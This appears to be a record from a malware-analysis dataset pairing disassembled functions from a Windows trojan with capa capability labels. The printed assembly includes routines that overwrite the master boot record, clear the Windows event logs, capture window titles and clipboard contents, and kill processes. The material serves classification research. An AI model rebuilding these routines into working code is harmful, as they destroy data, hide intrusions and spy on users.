joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d400
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x1013073c
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x1013073c
push eax
mov dword [0x10130b3c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x10130738]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x10130b3c]
cmp eax, ecx
je 0x1000d4fb
push 0x1013073c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x1000d4ef
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x1013073c
lea edx, [esp + 0x34]
push 0x10100180
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.1000d2c0
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x1013073c
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x10130b3c]
mov dword [0x10130738], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret

Function at 0x1000d720
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push ebp
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000d7da
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000d7e1
mov esi, dword [esp + 0x13c]
mov edi, dword [sym.imp.MSVCRT.dll__wcsupr]
push esi
call edi
lea ecx, [esp + 0x38]
mov ebx, eax
push ecx
call edi
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
jbe 0x1000d797
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x128
ret
lea edx, [esp + 0x10]
push edx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000d7da
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [esp + 0x34]
push eax
call edi
push esi
call edi
lea ecx, [esp + 0x3c]
push esi
push ecx
call ebx
add esp, 0x10
test eax, eax
jne 0x1000d787
lea edx, [esp + 0x10]
push edx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000d7b2
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x128
ret
Function at 0x1000f950
Capabilities:
Enumerate gui resources

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000d7f0
mov eax, ecx
mov esi, edi
mov edi, 0x10130b44
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [0x10130b40]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
ret 4

Function at 0x1000fbe0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x1000fc30
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x1000fc17
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x1000fc50
Capabilities:
Set registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push str.SYSTEMSetup
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1000fc99
mov edx, dword [esp + 8]
push edi
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 8]
push edx
push 1
push eax
push str.Host
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ecx
ret
Function at 0x1000fca0
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar
Manipulate cd-rom drive
Overwrite master boot record (mbr)
Power down monitor
Shutdown system
Swap mouse buttons
Terminate process
Write file on windows

Disassembly:
sub esp, 0x208
mov ecx, 0x7f
xor eax, eax
push esi
push edi
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x214]
test eax, eax
je 0x1000fcd5
mov ecx, 6
mov esi, 0x100ffe80
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
jmp 0x1000fcde
mov al, byte [0x100ffe80]
mov byte [esp + 0x10], al
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
mov byte [esp + 0x22a], 0x55
mov byte [esp + 0x22b], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000fd1a
pop edi
or eax, eax
pop esi
add esp, 0x208
ret
lea ecx, [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
lea edx, [esp + 0xc]
push 0
push edx
lea eax, [esp + 0x18]
push 0x200
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [esp + 8]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x1000fd94
push 1
push str.SeShutdownPrivilege
call fcn.1001d8c0
add esp, 8
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100100b0
Capabilities:
Get file size
Write file on windows

Disassembly:
sub esp, 0x404
push ebp
push esi
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x10130732]
test ax, ax
je 0x10010199
push 0
xor esi, esi
push 0x80
push 4
mov si, ax
mov eax, dword [esp + 0x41c]
push 0
push 2
push 0x40000000
push eax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10010199
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x10010191
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
mov dword [esp + 0xc], 0
test esi, esi
jbe 0x10010191
push ebx
test edi, 0x3ff
jne 0x10010173
xor ebx, ebx
call dword [sym.imp.MSVCRT.dll_rand]
add al, bl
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
inc ebx
cmp ebx, 0x400
mov byte [esp + ebx + 0x13], dl
jl 0x10010153
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, esi
jb 0x10010149
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x404
ret
Function at 0x100104b0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x100104d6
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret

Function at 0x10010670
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x1009cae3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov dword [esp + 0x148], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 0x10]
push eax
push edi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1001076e
lea ecx, [esp + 0x148]
call sub.MFC42.DLL_CString::MakeLower
lea ecx, [esp + 0x10]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10010760
lea edx, [esp + 0x34]
lea ecx, [esp + 0xc]
push edx
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0xc]
mov byte [esp + 0x140], 1
call sub.MFC42.DLL_CString::MakeLower
mov esi, dword [esp + 0x148]
mov eax, dword [esp + 0xc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10010729
cmp cl, bl
je 0x10010725
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10010729
add eax, 2
add esi, 2
cmp cl, bl
jne 0x10010705
xor eax, eax
jmp 0x1001072e
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x1001079f
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0xc]
mov byte [esp + 0x140], bl
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100106db
push 0xffffffffffffffff
lea ecx, [esp + 0x14c]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x138]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x138
ret
mov ecx, dword [esp + 0x18]
push ecx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0xffffffffffffffff
lea ecx, [esp + 0x14c]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0xc]
mov byte [esp + 0x140], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
jmp 0x10010787
Function at 0x10012970
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1001d8c0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1001d8c0
add esp, 8
ret 4

Function at 0x10012ac0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, 0x100ff5b4
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, 0x101315b8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x24]
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x2c]
and ecx, 3
push SysReAllocString
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10012bee
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MFC42.DLL_operatornew
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
push ebx
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x10012bd8
mov bl, byte [eax + esi]
xor bl, 0x62
mov byte [eax + esi], bl
inc eax
cmp eax, edi
jb 0x10012bca
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.10012a60
push esi
mov ebx, eax
call sub.MFC42.DLL_operatordelete
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x10013280
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1009cd51
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 4]
call sub.MFC42.DLL_CString::CString_3
xor edi, edi
lea ecx, [esi + 8]
mov dword [esp + 0x14], edi
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0xc]
mov byte [esp + 0x14], 1
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x10]
mov byte [esp + 0x14], 2
call fcn.10030c24
lea ecx, [esi + 0x24]
mov byte [esp + 0x14], 3
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x28]
mov byte [esp + 0x14], 4
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x2c]
mov byte [esp + 0x14], 5
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x30]
mov byte [esp + 0x14], 6
call sub.MFC42.DLL_CString::CString_3
mov dword [esi + 0x34], 0x100bc8e4
mov dword [esi + 0x38], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x3c], edi
lea ecx, [esi + 0x80]
mov byte [esp + 0x14], 8
call sub.MFC42.DLL_CString::CString_3
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push eax
push ecx
push edx
mov ecx, esi
mov byte [esp + 0x20], 9
mov dword [esi], 0x100bc8e0
call fcn.10013460
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc
Function at 0x100173b0
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, dword [ecx + 4]
sub esp, 0x3c
push ebx
push esi
xor esi, esi
cmp eax, reloc.WS2_32.dll_accept
jne 0x100173d0
mov edx, dword [0x10132b60]
test edx, edx
je 0x100173d0
mov eax, reloc.WS2_32.dll_closesocket
lea edx, [esp + 0x10]
add ecx, 8
push edx
push 0xf003f
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10017552
push eax
push eax
lea eax, [esp + 0x30]
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x3c]
push ecx
push edx
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x30]
push 0
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x10017429
pop esi
xor eax, eax
pop ebx
add esp, 0x3c
ret
mov eax, dword [esp + 0x1c]
lea ebx, [eax + 1]
mov eax, dword [esp + 8]
test eax, eax
jbe 0x10017552
cmp ebx, 1
jbe 0x10017552
mov esi, ebx
push ebp
imul esi, eax
add esi, 0xe
push edi
push esi
push 0x40
mov dword [esp + 0x34], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, esi
mov edx, eax
mov ebp, ecx
xor eax, eax
mov edi, edx
mov dword [esp + 0x20], edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
push ebx
and ecx, 3
inc edx
rep stosb byte es:[edi], al
mov byte [edx - 1], 0x94
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x48]
mov dword [edx], eax
mov al, byte [esp + 0x4c]
mov dword [edx + 4], ebx
mov dword [edx + 8], ecx
mov byte [edx + 0xc], al
call sub.MFC42.DLL_operatornew
mov ebp, eax
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0x14], 0
test eax, eax
jbe 0x1001752c
mov ecx, dword [esp + 0x20]
add ecx, 0xd
mov dword [esp + 0x1c], ecx
mov ecx, ebx
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push 0
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push 0
lea eax, [esp + 0x34]
push 0
push eax
push ebp
push ecx
push edx
mov dword [esp + 0x48], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
add edx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x14]
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
cmp eax, ecx
mov dword [esp + 0x1c], edx
jb 0x100174b8
mov esi, dword [esp + 0x2c]
push ebp
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x20]
push 0x42
push esi
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
pop edi
mov esi, eax
pop ebp
mov eax, esi
pop esi
pop ebx
add esp, 0x3c
ret
Function at 0x10017ad0
Capabilities:
Delete registry key

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
mov edx, ecx
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
mov edx, dword [edx + 4]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp edx, reloc.WS2_32.dll_accept
stosb byte es:[edi], al
jne 0x10017b60
mov edi, dword [0x10132b60]
test edi, edi
je 0x10017b60
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x10]
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea ebx, [esp + 0x10]
and ecx, 3
mov edx, reloc.WS2_32.dll_closesocket
rep movsb byte es:[edi], byte [esi]
mov edi, 0x100ff5b4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x414]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
neg eax
pop edi
pop esi
sbb eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x400
ret 4

Function at 0x10017be0
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 1
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8

Function at 0x10017c20
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 2
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8
Function at 0x10018ab0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x408
push esi
push edi
push str.DwmEnableComposition
push str.Dwmapi.dll
call fcn.1001d6c0
mov edi, eax
add esp, 8
test edi, edi
je 0x10018b8c
mov esi, dword [esp + 0x414]
xor eax, eax
test esi, esi
sete al
mov dword [esp + 0xc], eax
mov eax, dword [0x10132b60]
test eax, eax
push str.SoftwareMicrosoftWindowsDWM
je 0x10018b0a
push eax
lea ecx, [esp + 0x18]
push 0x100ff430
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
jmp 0x10018b1d
lea edx, [esp + 0x14]
push 0x100ff678
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov edx, dword [0x10132b60]
lea eax, [esp + 8]
neg edx
sbb edx, edx
push eax
and edx, 2
push 2
lea ecx, [esp + 0x18]
push 0
add edx, reloc.WS2_32.dll_accept
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10018b8c
mov ecx, dword [esp + 8]
lea eax, [esp + 0xc]
push 4
push eax
push 4
push 0
push str.SuppressDisableCompositionUI
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x10018b7e
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 0x408
ret 4
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call edi
pop edi
pop esi
add esp, 0x408
ret 4
Function at 0x10019280
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10019312
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x100192b1
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MFC42.DLL_operatornew
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x7d
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10012e90
push ebp
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret

Function at 0x100193a0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1009d2c1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10012d40
mov dword [esp + 0x5c], 0
mov dword [esi + 0x128], 0x100bc8bc
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x16c]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x1001946d
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x100bc958
mov byte [esi + 0x117], bl
mov dword [esi + 0x11c], 3
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x100194ce
push 0x64
push ebx
push 4
mov ecx, eax
call fcn.1001ab80
jmp 0x100194d0
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x10019bc0
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0x1ac], eax
mov byte [esi + 0x114], bl
mov byte [esi + 0x116], 0
mov byte [esi + 0x115], 0
mov byte [esi + 0x118], 0
call fcn.1002faf0
push ebx
push 0
push 0
push esi
push 0x10019c30
push 0
push 0
mov dword [esi + 0x120], eax
call fcn.1002faf0
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x124], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4